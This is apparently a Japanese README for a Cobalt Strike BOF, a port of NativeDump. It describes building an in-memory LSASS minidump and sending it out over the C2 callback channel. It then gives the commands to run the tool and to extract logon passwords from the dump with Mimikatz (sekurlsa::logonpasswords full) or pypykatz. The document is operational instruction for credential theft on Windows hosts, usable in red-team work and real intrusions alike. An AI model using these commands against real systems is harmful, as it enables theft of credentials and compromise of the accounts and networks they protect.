
メモリ内にLSASSミニダンプを作成し、C2コールバック経由で外部に持ち出して、Mimikatzまたはpypykatzによるオフラインの資格情報解析を可能にするCobalt Strike BOF。
ツール https://github.com/ricardojoserf/NativeDump のBOF移植版(作者: @ricardojoserf)。
NtDump.cna をインポートして実行します:
ntdump <filename>
ミニダンプファイルはメモリ内に作成され、CALLBACK_FILE と CALLBACK_FILE_WRITE を使用してダウンロードされます。ダウンロード後、ファイルは View -> Download に表示されます。
これは後で Mimikatz を使って解析できます。
mimikatz # sekurlsa::minidump <file path to downloaded minidump file>
mimikatz # sekurlsa::logonpasswords full
または pypykatz
pypykatz lsa minidump <file path to downloaded minidump file>